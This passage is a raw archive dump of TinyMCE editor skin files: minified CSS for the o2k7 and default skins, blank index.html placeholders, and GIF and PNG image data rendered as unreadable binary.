.mceButtonSelected{border-color:#FFD24E}.o2k7SkinSilver .mceToolbarRow .mceToolBarItem:last-child .mceButton,.o2k7SkinSilver .mceToolbarRow .mceToolBarItem:last-child .mceButton:hover{border-right-width:1px;border-radius:0 2px 2px 0;border-right-color:#bbb}.o2k7SkinSilver .mceToolbarRow .mceToolBarItemEnd .mceButton,.o2k7SkinSilver .mceToolbarRow .mceToolBarItemEnd .mceSplitButton .mceOpen a{border-right-color:#bbb}.o2k7SkinSilver .mceToolbarRow .mceToolBarItemStart .mceButton,.o2k7SkinSilver .mceToolbarRow .mceToolBarItemStart .mceSplitButton .mceText a{border-left-color:#bbb}.o2k7SkinSilver .mceListBox .mceOpen a,.o2k7SkinSilver .mceListBox .mceText a,.o2k7SkinSilver .mceSeparator,.o2k7SkinSilver .mceSplitButton .mceOpen a,.o2k7SkinSilver .mceSplitButton .mceText a,.o2k7SkinSilver .mceSplitButtonMenu,.o2k7SkinSilver .mceToolbarEnd,.o2k7SkinSilver .mceToolbarStart{border-color:#bbb}.o2k7SkinSilver .mceButtonDialog,.o2k7SkinSilver .mceButtonDialog::before{background-color:#eee;border-color:#bbb}editor/tiny_mce/themes/advanced/skins/o2k7/index.html000060400000000054150750527150016603 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/o2k7/ui.admin.css000060400000006473150750527150017037 0ustar00.o2k7Skin .mceToolBar{border:0}.o2k7Skin .mceLayout,.o2k7Skin .mceLayout .mceToolbar{border:0!important;background:#fff}.o2k7Skin .mceToolBarItem div{display:inline-block}.o2k7Skin .mceToolBarItem .mceListBox,.o2k7Skin .mceToolBarItem .mceSplitButton{border:1px solid #ABC6DD;height:26px;box-sizing:border-box;border-radius:0;position:relative;cursor:move}.o2k7Skin .mceToolBarItem .mceListBox{width:94px;border-radius:2px}.o2k7Skin .mceToolBarItem .mceSplitButton{width:42px;padding:2px;border-left-width:0}.o2k7Skin .mceToolBarItemStart .mceSplitButton{border-left-width:1px}.o2k7Skin .mceToolBarItemEnd .mceSplitButton{border-right-width:1px;border-right-color:#E5EFFD}.o2k7Skin .mceToolBarItem .mceSplitButton+.mceSplitButton{margin-left:0;border-left-width:0}.o2k7Skin .mceToolbarRow .mceToolBarItem .mceButton+.mceButton{border-left-width:0}.o2k7Skin .mceToolBarItem .mceListBox .mceIcon{width:76px;height:auto}.o2k7Skin .mceToolBarItem .mceListBox .mceIcon:before{display:inline-block;background:#fff;font-size:12px;width:76px;line-height:24px;padding:0 3px;box-sizing:border-box}.o2k7Skin .mceToolBarItem .mceListBox:after,.o2k7Skin .mceToolBarItem .mceSplitButton:after{content:"▼";display:block;font-size:9px;line-height:24px;color:#444;width:17px;position:absolute;right:0;top:0;text-align:center;border-left:1px solid #ABC6DD;box-sizing:border-box}.o2k7Skin .mceLayout .mceStatusbar{border:1px solid #ABC6DD;border-top-width:0}.o2k7Skin .mceLayout .mceLast{border-color:#ABC6DD}.o2k7Skin .mceLayout .mceIframeContainer{background:#fff;width:100%;position:relative;padding:5px;box-sizing:border-box;white-space:pre-line;border:1px solid #ABC6DD;margin:0}.o2k7Skin .mceLayout .mceToolbarRow{background-color:#E5EFFD;border-color:#ABC6DD}.o2k7Skin.o2k7SkinSilver .mceLayout .mceIframeContainer,.o2k7Skin.o2k7SkinSilver .mceLayout .mceLast,.o2k7Skin.o2k7SkinSilver .mceLayout .mceStatusbar,.o2k7Skin.o2k7SkinSilver .mceToolBarItem .mceListBox,.o2k7Skin.o2k7SkinSilver .mceToolBarItem .mceListBox:after,.o2k7Skin.o2k7SkinSilver .mceToolBarItem .mceSplitButton,.o2k7Skin.o2k7SkinSilver .mceToolBarItem .mceSplitButton:after{border-color:#bbb}.o2k7SkinSilver .mceLayout .mceToolbarRow{background-color:#eee;border-color:#bbb}.o2k7Skin.o2k7SkinBlack .mceToolBarItem .mceListBox,.o2k7Skin.o2k7SkinBlack .mceToolBarItem .mceSplitButton{border-color:#B0B6BE}.o2k7Skin.o2k7SkinBlack .mceToolBarItem .mceListBox:after,.o2k7Skin.o2k7SkinBlack .mceToolBarItem .mceSplitButton:after{border-color:#535353;background:-moz-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:-webkit-gradient(left top,left bottom,color-stop(0,rgba(203,207,212,1)),color-stop(100%,rgba(152,159,169,1)));background:-webkit-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:-o-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:-ms-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:linear-gradient(to bottom,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%)}.o2k7Skin.o2k7SkinBlack .mceLayout .mceIframeContainer,.o2k7Skin.o2k7SkinBlack .mceLayout .mceLast,.o2k7Skin.o2k7SkinBlack .mceLayout .mceStatusbar{border-color:#535353}.o2k7SkinBlack .mceLayout .mceToolbarRow{background-color:#535353;border-color:#535353}.o2k7SkinBlack .mceToolBarItem.sortableRowItem.ui-sortable-highlight{border-color:#fff}editor/tiny_mce/themes/advanced/skins/o2k7/content.css000060400000000044150750527150016771 0ustar00@import url(../default/content.css);editor/tiny_mce/themes/advanced/skins/o2k7/ui_black.css000060400000006044150750527150017076 0ustar00.o2k7SkinBlack .mceLayout{border-left:1px solid #535353;border-right:1px solid #535353}.o2k7SkinBlack .mceSplitButton .mceOpen a,.o2k7SkinBlack .mceToolbarRow .mceToolBarItemStart .mceButton,.o2k7SkinBlack .mceToolbarRow .mceToolBarItemStart .mceSplitButton .mceText a{border-left-color:#B0B6BE}.o2k7SkinBlack .mceIframeContainer{border-top:1px solid #535353;border-bottom:1px solid #535353}.o2k7SkinBlack .mceStatusbar,.o2k7SkinBlack .mceToolbar{background:#535353}.o2k7SkinBlack .mceLayout .mceFirst{border-top-color:#535353}.o2k7SkinBlack .mceLayout .mceLast{border-bottom-color:#535353}.o2k7SkinBlack .mceStatusbar .mcePathRow a,.o2k7SkinBlack .mceStatusbar .mcePathRow span,.o2k7SkinBlack .mceStatusbar div{color:#fff}.o2k7SkinBlack.mceListBoxMenu .mceMenu{border-color:#535353}.o2k7SkinBlack .mceButtonActive,.o2k7SkinBlack .mceButtonEnabled:active,.o2k7SkinBlack .mceButtonEnabled:hover,.o2k7SkinBlack .mceButtonSelected,.o2k7SkinBlack .mceToolbarRow .mceToolBarItem:first-child .mceButton:first-child:hover,.o2k7SkinBlack .mceToolbarRow .mceToolBarItem:last-child .mceButton:last-child:hover{border-color:#FFD24E}.o2k7SkinBlack .mceButton{border-bottom-color:#989FA9;border-right-color:transparent;border-top-color:#CBCFD4}.o2k7SkinBlack .mceButton,.o2k7SkinBlack .mceListBox .mceOpen a,.o2k7SkinBlack .mceSplitButton{background:-moz-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:-webkit-gradient(left top,left bottom,color-stop(0,rgba(203,207,212,1)),color-stop(100%,rgba(152,159,169,1)));background:-webkit-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:-o-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:-ms-linear-gradient(top,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%);background:linear-gradient(to bottom,rgba(203,207,212,1) 0,rgba(152,159,169,1) 100%)}.o2k7SkinBlack .mceToolbarRow .mceToolBarItem:first-child .mceButton:first-child,.o2k7SkinBlack .mceToolbarRow .mceToolBarItem:first-child .mceButton:first-child:hover{border-left-width:1px;border-radius:2px 0 0 2px;border-left-color:#B0B6BE}.o2k7SkinBlack .mceToolbarRow .mceToolBarItem:last-child .mceButton:last-child,.o2k7SkinBlack .mceToolbarRow .mceToolBarItem:last-child .mceButton:last-child:hover{border-right-width:1px;border-radius:0 2px 2px 0;border-right-color:#B0B6BE}.o2k7SkinBlack .mceToolbarRow .mceToolBarItemEnd .mceButton,.o2k7SkinBlack .mceToolbarRow .mceToolBarItemEnd .mceSplitButton .mceOpen a{border-right-color:#B0B6BE}.o2k7SkinBlack .mceSeparator,.o2k7SkinBlack .mceToolbarEnd,.o2k7SkinBlack .mceToolbarStart{border-color:#B0B6BE}.o2k7SkinBlack .mceSplitButton .mceOpen a,.o2k7SkinBlack .mceSplitButton .mceText a{border-color:#CBCFD4 transparent #989FA9}.o2k7SkinBlack .mceListBox .mceOpen a,.o2k7SkinBlack .mceListBox .mceText a{border-color:#B0B6BE}.o2k7Skin .mceSplitButtonMenu,.o2k7SkinBlack .mceButtonDialog,.o2k7SkinBlack .mceSplitButtonMenu{border-color:#535353}.o2k7SkinBlack .mceButtonDialog{background-color:#535353}.o2k7SkinBlack .mceButtonDialog::before{background-color:#B0B6BE;border-color:#535353}editor/tiny_mce/themes/advanced/skins/o2k7/ui.css000060400000011467150750527150015747 0ustar00@import url(../default/ui.css);.o2k7Skin .mceStatusbar,.o2k7Skin .mceToolbar{background:#E5EFFD}.o2k7Skin .mceLayout{border-left:1px solid #ABC6DD;border-right:1px solid #ABC6DD}.o2k7Skin .mceIframeContainer{border-top:1px solid #ABC6DD;border-bottom:1px solid #ABC6DD}.o2k7Skin .mceToolbarRow .mceToolBarItem{margin:1px 0;border:0;height:auto}.o2k7Skin .mceToolbarRow .mceToolBarItemListBox{margin:1px}.o2k7Skin.mceListBoxMenu .mceMenu{border-color:#ABC6DD}.o2k7Skin .mceToolBarItem{margin:1px -1px}.o2k7Skin .mceButton{margin:0;border-left-width:0;border-color:#9FBBE2 #E0E9F6 #9FBBE2 #9FBBE2;border-radius:0;-moz-border-radius:0;-webkit-border-radius:0}.o2k7Skin .mceButton,.o2k7Skin .mceSplitButton{background:-moz-linear-gradient(top,rgba(229,239,253,1) 0,rgba(193,212,238,1) 50%,rgba(229,239,253,1) 100%);background:-webkit-gradient(left top,left bottom,color-stop(0,rgba(229,239,253,1)),color-stop(50%,rgba(193,212,238,1)),color-stop(100%,rgba(229,239,253,1)));background:-webkit-linear-gradient(top,rgba(229,239,253,1) 0,rgba(193,212,238,1) 50%,rgba(229,239,253,1) 100%);background:-o-linear-gradient(top,rgba(229,239,253,1) 0,rgba(193,212,238,1) 50%,rgba(229,239,253,1) 100%);background:-ms-linear-gradient(top,rgba(229,239,253,1) 0,rgba(193,212,238,1) 50%,rgba(229,239,253,1) 100%);background:linear-gradient(to bottom,rgba(229,239,253,1) 0,rgba(193,212,238,1) 50%,rgba(229,239,253,1) 100%)}.o2k7Skin .mceButtonActive,.o2k7Skin .mceButtonEnabled,.o2k7Skin .mceButtonEnabled:active,.o2k7Skin .mceButtonEnabled:hover,.o2k7Skin .mceButtonSelected{border-color:#9FBBE2 #E0E9F6 #9FBBE2 #9FBBE2;background-color:#FFD24E;border-left-width:0}.o2k7Skin .mceButton.mceButtonActive,.o2k7Skin .mceButton.mceButtonSelected,.o2k7Skin .mceButton:active,.o2k7Skin .mceButton:hover,.o2k7Skin .mceButtonEnabled:hover,.o2k7Skin .mceListBox .mceOpen a:hover,.o2k7Skin .mceSplitButton:active,.o2k7Skin .mceSplitButton:hover{background:-moz-linear-gradient(top,rgba(254,246,202,1) 0,rgba(255,211,78,1) 50%,rgba(255,251,233,1) 100%);background:-webkit-gradient(left top,left bottom,color-stop(0,rgba(254,246,202,1)),color-stop(50%,rgba(255,211,78,1)),color-stop(100%,rgba(255,251,233,1)));background:-webkit-linear-gradient(top,rgba(254,246,202,1) 0,rgba(255,211,78,1) 50%,rgba(255,251,233,1) 100%);background:-o-linear-gradient(top,rgba(254,246,202,1) 0,rgba(255,211,78,1) 50%,rgba(255,251,233,1) 100%);background:-ms-linear-gradient(top,rgba(254,246,202,1) 0,rgba(255,211,78,1) 50%,rgba(255,251,233,1) 100%);background:linear-gradient(to bottom,rgba(254,246,202,1) 0,rgba(255,211,78,1) 50%,rgba(255,251,233,1) 100%)}.o2k7Skin .mceToolbarRow .mceToolBarItem:first-child{margin-left:2px}.o2k7Skin .mceToolbarRow .mceToolBarItemListBox+.mceToolBarItemListBox,.o2k7Skin .mceToolbarRow .mceToolBarItemStart{margin-left:1px}.o2k7Skin .mceToolbarRow .mceToolBarItem:first-child .mceButton:first-child,.o2k7Skin .mceToolbarStart .mceToolBarItem:first-child .mceButton:first-child:hover{border-left-width:1px;border-radius:2px 0 0 2px}.o2k7Skin .mceToolbarRow .mceToolBarItem:last-child .mceButton:last-child,.o2k7Skin .mceToolbarRow .mceToolBarItem:last-child .mceButton:last-child:hover{border-right-width:1px;border-radius:0 2px 2px 0;border-right-color:#9FBBE2}.o2k7Skin .mceListBox .mceOpen a,.o2k7Skin .mceListBox .mceText a,.o2k7Skin .mceSplitButton .mceOpen a,.o2k7Skin .mceSplitButton .mceText a{border-color:#9FBBE2;border-radius:0}.o2k7Skin .mceToolbarRow .mceToolBarItemEnd{margin-right:1px}.o2k7Skin .mceToolbarRow .mceToolBarItemEnd .mceButton,.o2k7Skin .mceToolbarRow .mceToolBarItemEnd .mceSplitButton .mceOpen a{border-right-color:#ABC6DD}.o2k7Skin .mceToolbarRow .mceToolBarItemEnd .mceSplitButton .mceOpen a{border-right-width:1px}.o2k7Skin .mceToolbarRow .mceToolBarItemStart .mceButton,.o2k7Skin .mceToolbarRow .mceToolBarItemStart .mceSplitButton .mceText a{border-left-color:#ABC6DD;border-left-width:1px}.o2k7Skin .mceSeparator{width:2px}.o2k7Skin .mceSeparator,.o2k7Skin .mceToolbarEnd,.o2k7Skin .mceToolbarStart{border-width:0 1px;border-style:solid;border-color:#9FBBE2;margin:0 0 0 -1px;height:26px;background:0 0}.o2k7Skin .mceToolbarEnd{border-left-width:1px;width:2px;border-right-width:0;box-sizing:border-box}.o2k7Skin .mceToolbarStart{border-width:0 0 0 1px;box-sizing:border-box}.o2k7Skin .mceSplitButton .mceText a{border-left-width:0}.o2k7Skin .mceSplitButton a.mceAction{border-width:1px 0}.o2k7Skin .mceListBox .mceOpen a:hover{border-color:#FFD24E}.o2k7Skin .mceSplitButtonMenu{border-color:#9FBBE2}.o2k7Skin .mceSplitButton{margin:0}.o2k7Skin .mceSplitButtonDisabled .mceAction,.o2k7Skin .mceSplitButtonDisabled span.mceOpen{opacity:.3;-ms-filter:'alpha(opacity=30)';filter:alpha(opacity=30)}.o2k7Skin .mceButtonDialog,.o2k7Skin .mceButtonDialog::before{background-color:#E5EFFD;border-color:#ABC6DD}.o2k7Skin .mceColorSplitMenu .mceMoreColors a:hover{border-color:#E0E9F6;background-color:#FFD24E}editor/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif000060400000000104150750527150021065 0ustar00GIF89a����!�,����������z�q(�׉���*;editor/tiny_mce/themes/advanced/skins/default/img/menu_check.gif000060400000000106150750527150021012 0ustar00GIF89a����!�,�����������;�i�#~����ʶ�{;editor/tiny_mce/themes/advanced/skins/default/img/index.html000060400000000054150750527150020221 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/default/img/button_bg.png000060400000000234150750527150020715 0ustar00�PNG


IHDR	л�cIDATxcx����=/ע �Tn��g�so�x���)O��@����v�8w�?��Q�x�b�M���c�^�|��{��u�u�֛7o�P��0���IEND�B`�editor/tiny_mce/themes/advanced/skins/default/img/progress.gif000060400000003371150750527150020564 0ustar00GIF89a  �"""�����Ļ�����������UUU333������!�NETSCAPE2.0!�
,  @�p�IiQ��J����S2l po���ĐH'�N���%��j�%Q8'+rR�0��6 �Fs�Z4|��SB��T���	b�nYa��9h�8:q�C�y�g,S\)_�Q?e��	�+��S
��5	#lO<��#vY��J;v\�aU}L 5��{|q��&k�23�87���ӏ�Ϧ_�XȽ�`���+�=L���ε�)�qX��竞&Aq"!�
,rp�I+ 5��F��`R��h�W�R�l;L&-���f�m�)���M��<�\M���Rd��@�
H̑B ��M��oƆ�����	��������������Gz{!�
,rp�I'A5�:�M�P!(u�(�8��D����J�K2�r���3-h� �$6�3e`�&��� zfL�Z�
a>�F
��W�ssyJ}T	�N.aqXshC�XJ!�
,ipɹ�4�]L�߶$Af����M�A���	�J�j��@'[T��b�*-b�J��I�Z PM
�sbg�p$������v�!��5
��?}��
�
�!�
,e0�������K!^�a��X�	�[�(\
-���S�R@ PC�r0"� ��L�����z��xLՍπ*� ��_נP���:�D�eUywZt
n!�
,�0����x���D�W��E�&j�׊�@���.w~���20��0`4r|�BӀ�M�>������,bL>|?�4B�>��ʻ��u�9y��&
2x&

k�&	�
U]�
vo�o�p�raT&!�
,{pɹB�B�O��e�T�G\l�	)S���&��4��0�yT�SL�\:=����J��k���:	D��eĨ��c�8O��b/�:{
ty�t#����|��-
mN
qK!�
,lp�I�"8�d����y ��h�**��Zp�TR�F1��"��-
C��`�B�8,X	�9*P,@R`Z=���>u,S���"ΦO�T\um|;�8~*!�
,xp�I�]��p�
�]��5�ĐP`�)%�� !�����H�B��	P����МV��	59(�X25�,�I�/���n#&��@����Vq5tsny\)_�g��|r�5!�
,g�E�8�[��`&y_h��)
E"�+gG
h@l5��"����A .��@M���E��8NgL+���P�Ƀ�	�p�us/jȩ�jVjc7I!�
,\�(e�����@��p
"�X�h�QmTqm�x��h� �������w�$'��s)�a��]-�l�j����_�g��i�rˀ`�%	!�
,rpɹ��x*�2�
�M���]hiG!ۑ".��J���j�+,��p@X���VF�n���50��y�QL�\@K��0�E	�c���}d�yFv(	�;editor/tiny_mce/themes/advanced/skins/default/img/middot.gif000060400000000206150750527150020172 0ustar00GIF89a�!�ICCRGBG1012HHLinomntrRGB XYZ �	1acspMSFTIEC sRGB��!�
,L`h\;editor/tiny_mce/themes/advanced/skins/default/img/search.png000060400000001726150750527150020206 0ustar00�PNG


IHDRVu\�gAMA���a cHRMz&�����u0�`:�p��Q<	pHYs��0iTXtXML:com.adobe.xmp<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <xmp:CreatorTool>Acorn version 4.5.5</xmp:CreatorTool>
         <tiff:Compression>5</tiff:Compression>
         <tiff:YResolution>72</tiff:YResolution>
         <tiff:XResolution>72</tiff:XResolution>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
�ׯ�IDAT(E�MKQ��p��2�>6%�r'����?沝��B�� }PX-�$�z��x��ܹ�̹g�hUnϰ�#t���-S.F��#��D
�@���6n`�'�q�O< q��|
�`�7��k��̺���0L�a�*XGx�Ke���Ō���I�؍-��p���
+�<�ϛ�n�`���α��H��~��0���	c
[;s������
K��0���(b�f�C�����>�g�`'Ǽ+a"���3���P��@F*{G%IEND�B`�editor/tiny_mce/themes/advanced/skins/default/ui.css000060400000052707150750527150016613 0ustar00.defaultSkin .mceText,.defaultSkin a,.defaultSkin button,.defaultSkin div,.defaultSkin iframe,.defaultSkin img,.defaultSkin input,.defaultSkin label{border:0;margin:0;padding:0;background:0 0;white-space:nowrap;text-decoration:none;font-weight:400;cursor:default;color:#444;vertical-align:baseline;width:auto;border-collapse:separate;text-align:left;box-sizing:initial;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;float:none}.defaultSkin>div{width:auto;font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;direction:ltr;position:relative;top:0;left:0}.defaultSkin a:active,.defaultSkin a:hover,.defaultSkin a:link,.defaultSkin a:visited{text-decoration:none;font-weight:400;cursor:default;color:#000}.defaultSkin iframe{display:block;width:100%}.defaultSkin .mceLeft .mceToolbarRow{text-align:left}.defaultSkin .mceRight .mceToolbarRow{text-align:right}.defaultSkin .mceCenter,.defaultSkin .mceCenter .mceToolbarRow{text-align:center}.defaultSkin .mceExternalToolbar{position:absolute;border:1px solid #ddd;border-bottom:0;display:none}.defaultSkin .mceExternalToolbar .mceToolbar{padding-right:13px}.defaultSkin .mceExternalClose{position:absolute;top:3px;right:3px;width:7px;height:7px;background:url(../../img/icons.png) -820px 0}.defaultSkin .mceLayout{border-left:1px solid #ddd;border-right:1px solid #ddd}.defaultSkin .mceLayout .mceFirst{border-top:1px solid #ddd}.defaultSkin .mceLayout .mceLast{border-bottom:1px solid #ddd}.defaultSkin .mceToolbar{background:#f5f5f5}.defaultSkin .mceToolbarRow{white-space:normal}.defaultSkin .mceToolbarRow>div{display:inline-block;vertical-align:middle}.defaultSkin .mceToolbarRow .mceToolBarItem{margin:1px 0 1px 1px;background-color:#f5f5f5}.defaultSkin .mceIframeContainer{border-top:1px solid #ddd;border-bottom:1px solid #ddd;position:relative}.defaultSkin .mceStatusbar{font-size:9pt;line-height:16px;overflow:visible;color:#000;display:block;height:20px;padding:5px;background:#f5f5f5}.defaultSkin .mceStatusbar div{float:left;margin:2px}.defaultSkin .mceStatusbar .mceResize{display:block;float:right;background:url(../../img/icons.png) -800px 0;width:20px;height:20px;cursor:se-resize}.defaultSkin .mceButtonLabeled .mceIcon,.defaultSkin .mceListBox .mceOpen,.defaultSkin .mceListBox .mceText,.defaultSkin .mceSplitButton .mceText{float:left}.defaultSkin .mceStatusbar a:hover{text-decoration:underline}.defaultSkin table.mceToolbar{margin-left:3px;width:auto!important}.defaultSkin .mceIcon{display:block;min-width:20px;height:20px;line-height:20px;background:url(../../img/icons.png) 20px 20px no-repeat}.defaultSkin .mceAction,.defaultSkin .mceIcon{font-size:1.25em}.defaultSkin .mceCenter>div{margin:0 auto;text-align:left}.defaultSkin .mceRight>div{margin:0 0 0 auto}.defaultSkin .mceButton{display:block;border:1px solid #ddd;margin-right:1px;padding:2px;-webkit-appearance:none;cursor:pointer;outline:0;overflow:visible;font:inherit;text-transform:none;box-sizing:border-box;vertical-align:middle;text-decoration:none;text-align:center;border-radius:2px}.defaultSkin .mceButtonEnabled:hover{border:1px solid #ccc;background-color:#fafafa}.defaultSkin .mceButtonActive,.defaultSkin .mceButtonSelected{border:1px solid #ccc;background-color:#ddd}.defaultSkin .mceButtonDisabled .mceIcon{opacity:.3;-ms-filter:'alpha(opacity=30)';filter:alpha(opacity=30)}.defaultSkin .mceButtonLabeled{width:auto}.defaultSkin .mceButtonLabel{display:block;font-size:10px;padding:4px 6px 0 22px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}.defaultSkin .mceButtonDisabled .mceButtonLabel{color:#888}.defaultSkin .mceSeparator{width:1px;height:24px;margin:0 3px 0 2px;background:#ddd;display:block}.defaultSkin .mceListBox{display:table}.defaultSkin .mceListBox a{display:block}.defaultSkin .mceListBox .mceText a{padding:0 3px;width:70px;text-align:left;border:1px solid #ddd;border-right:0;background:#fff;line-height:24px;overflow:hidden;border-radius:2px 0 0 2px}.defaultSkin .mceListBox .mceOpen a{width:15px;height:24px;border:1px solid #ddd;text-align:center;border-radius:0 2px 2px 0}.defaultSkin .mceListBox:hover .mceOpen a{border-color:#ccc;background-color:#fafafa}.defaultSkin .mceListBox:hover .mceText a{border-color:#ccc}.defaultSkin .mceListBox .mceOpen a:after{content:"▼";display:block;font-size:9px;line-height:24px;color:#444;text-align:center}.defaultSkin .mceListBoxHover .mceText a,.defaultSkin .mceListBoxSelected .mceText a,.defaultSkin table.mceListBoxEnabled:hover .mceText a{border:1px solid #ccc;border-right:0;background:#fff}.defaultSkin .mceListBoxHover .mceOpen a,.defaultSkin .mceListBoxSelected .mceOpen a,table.mceListBoxEnabled:hover .mceOpen a{background-color:#fff;border:1px solid #ccc}.defaultSkin .mceListBoxDisabled .mceOpen a:after{color:gray}.defaultSkin .mceListBoxDisabled .mceText a{color:gray;background-color:transparent}.defaultSkin .mceListBoxMenu{overflow:hidden;box-shadow:0 2px 5px rgba(0,0,0,.1);margin-top:2px}.defaultSkin .mceListBoxMenu .mceMenu{border:1px solid #ddd}.mceOldBoxModel .mceListBox .mceText a{height:22px}.defaultSkin .mceOldBoxModel .mceListBox .mceOpen a{width:12px;height:22px}select.mceNativeListBox{font-size:7pt;background:#fafafa;border:1px solid gray;margin-right:2px}.mceSplitButton{height:20px;direction:ltr;margin:0 1px 0 0;display:table}.defaultSkin .mceSplitButton a,.defaultSkin .mceSplitButton span{height:20px;display:block;text-align:center;vertical-align:middle;line-height:20px;width:20px}.defaultSkin .mceSplitButton .mceOpen,.defaultSkin .mceSplitButton .mceText{display:inline-block}.defaultSkin .mceSplitButton .mceText a{width:20px;border:1px solid #ddd;border-right:0;padding:2px;border-radius:2px 0 0 2px}.defaultSkin .mceColorSplitMenu td,.defaultSkin .mceColorSplitMenu td.mceMoreColors{padding:1px}.defaultSkin .mceSplitButton .mceAction{width:20px;background-image:url(../../img/icons.png)}.defaultSkin .mceSplitButton .mceOpen a{width:15px;border:1px solid #ddd;text-align:center;height:24px;border-radius:0 2px 2px 0}.defaultSkin .mceSplitButton .mceOpen a:after{content:"▼";display:block;font-size:9px;line-height:24px;color:#444;text-align:center}.defaultSkin .mceSplitButtonDisabled .mceOpen a:after{color:#ddd}.defaultSkin .mceSplitButton .mceOpen span{display:none}.defaultSkin .mceSplitButtonHover .mceText a,.defaultSkin .mceSplitButtonSelected .mceAction a,table.mceSplitButtonEnabled:hover .mceText a{border-color:#ccc;border-right:0;background-color:#fafafa}.defaultSkin .mceSplitButtonEnabled:hover .mceOpen a,.defaultSkin .mceSplitButtonEnabled:hover .mceText a,.defaultSkin .mceSplitButtonHover .mceOpen a,.defaultSkin .mceSplitButtonSelected .mceOpen a,.defaultSkin .mceSplitButtonSelected .mceText a,table.mceSplitButtonEnabled:hover .mceOpen a{border-color:#ccc;background-color:#fafafa}.defaultSkin .mceSplitButtonDisabled .mceAction,.defaultSkin .mceSplitButtonDisabled span.mceOpen{opacity:.3;-ms-filter:'alpha(opacity=30)';filter:alpha(opacity=30)}.defaultSkin .mceSplitButtonActive .mceText a{border:1px solid #ccc;background-color:#fafafa}.defaultSkin .mceSplitButtonActive .mceOpen a{border-left:0}.defaultSkin .mceSplitButtonMenu{margin:2px 0 0;border:1px solid #ddd;box-shadow:0 2px 5px rgba(0,0,0,.1)}.defaultSkin .mceMenuItemSub{box-shadow:inherit;border:0;margin:0}.defaultSkin .mceSplitButtonMenu .mceMenuItem{margin:2px}.defaultSkin .mceColorSplitMenu table{background:#fff}.defaultSkin .mceColorSplitMenu a{display:block;width:19.5px;height:19.5px;overflow:hidden;border:1px solid #ddd;box-sizing:border-box;text-align:center}.defaultSkin .mceColorSplitMenu td.mceRemoveColor a:after{color:#444;display:block;font-family:Arial,sans-serif;font-size:18px;font-weight:700;line-height:18px;text-align:center;text-decoration:none;content:"\00d7";cursor:pointer;margin-left:1px}.defaultSkin .mceColorSplitMenu a.mceMoreColors{width:100%;height:auto;text-align:center;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;line-height:20px;border:1px solid #FFF}.defaultSkin .mceColorSplitMenu a.mceMoreColors:hover{border:1px solid #ccc;background-color:#fafafa}.defaultSkin .mceColorPreview{margin-left:2px;width:16px;height:4px;overflow:hidden;background:#fafafa}.defaultSkin .mce_backcolor span.mceAction,.defaultSkin .mce_forecolor span.mceAction{overflow:hidden;height:15px}.mceTableSplitMenu{width:130px;height:auto;background:#fff;border:0;padding:0;margin:0;border-collapse:separate;box-sizing:border-box;border-spacing:inherit}.defaultSkin .mceTableSplitMenu table{padding:2px}.defaultSkin .mceTableSplitMenu td{background-color:#fff;text-align:center}.defaultSkin .mceTableSplitMenu td a{width:20px;height:20px;display:block;border:1px solid #ddd;padding:0}.defaultSkin .mceTableSplitMenu .selected a{background-color:#337ab7;border-color:#2e6da4}.defaultSkin .mceTableSplitMenu .mceTableGridCount{background-color:#fff;text-align:center;line-height:20px}.defaultSkin .mceListBoxMenu .mceMenuFilter{padding:5px;border-bottom:1px solid #eee}.defaultSkin .mceListBoxMenu .mceMenuFilter:after{content:"";display:block;width:25px;height:25px;background:url(img/search.png) center no-repeat;opacity:.5;position:absolute;top:5px;right:5px}.defaultSkin .mceMenu,.defaultSkin .mceMenu div{background-color:#fff}.defaultSkin .mceMenu{position:absolute;left:0;top:0;z-index:1000;border:1px solid #ddd;direction:ltr;border-radius:2px;min-width:188px}.defaultSkin .mceNoIcons span.mceIcon{width:0}.defaultSkin .mceNoIcons a .mceText{padding-left:20px}.defaultSkin .mceMenu,.defaultSkin .mceMenu a,.defaultSkin .mceMenu span{display:block}.defaultSkin .mceMenu a{position:relative;padding:3px 0 4px}.defaultSkin .mceMenu .mceText{position:relative;display:block;cursor:default;margin:0;padding:0 25px}.defaultSkin .mceMenu .mceMenuItemHidden,.defaultSkin .mceMenu span.mceMenuLine{display:none}.defaultSkin .mceMenu .mcePreview,.defaultSkin .mceMenu span.mceText{font-size:12px;min-height:20px}.defaultSkin .mceMenu pre.mceText{font-family:Monospace}.defaultSkin .mceMenu .mceIcon{position:absolute;top:0;left:0;width:22px}.defaultSkin .mceMenu .mceMenuItems{height:100%;overflow:auto;overflow-x:hidden}.defaultSkin .mceMenu .mceMenuFilter+.mceMenuItems{height:86%;height:calc(100% - 37px)}.defaultSkin .mceMenu .mceMenuItemActive,.defaultSkin .mceMenu .mceMenuItemEnabled a:hover{background-color:#eee}.defaultSkin .mceMenu .mceMenuItemEnabled .mceTableSplitMenu a:hover{background-color:transparent}.defaultSkin .mceMenuItemSeparator{background:#ddd;height:1px}.defaultSkin .mceMenuItemTitle a{border:0;background:#eee;border-bottom:1px solid #ddd}.defaultSkin .mceMenuItemTitle span.mceText{color:#000;font-weight:700;padding:0 10px}.defaultSkin .mceMenuItemDisabled .mceText{color:#888}.defaultSkin .mceNoIcons 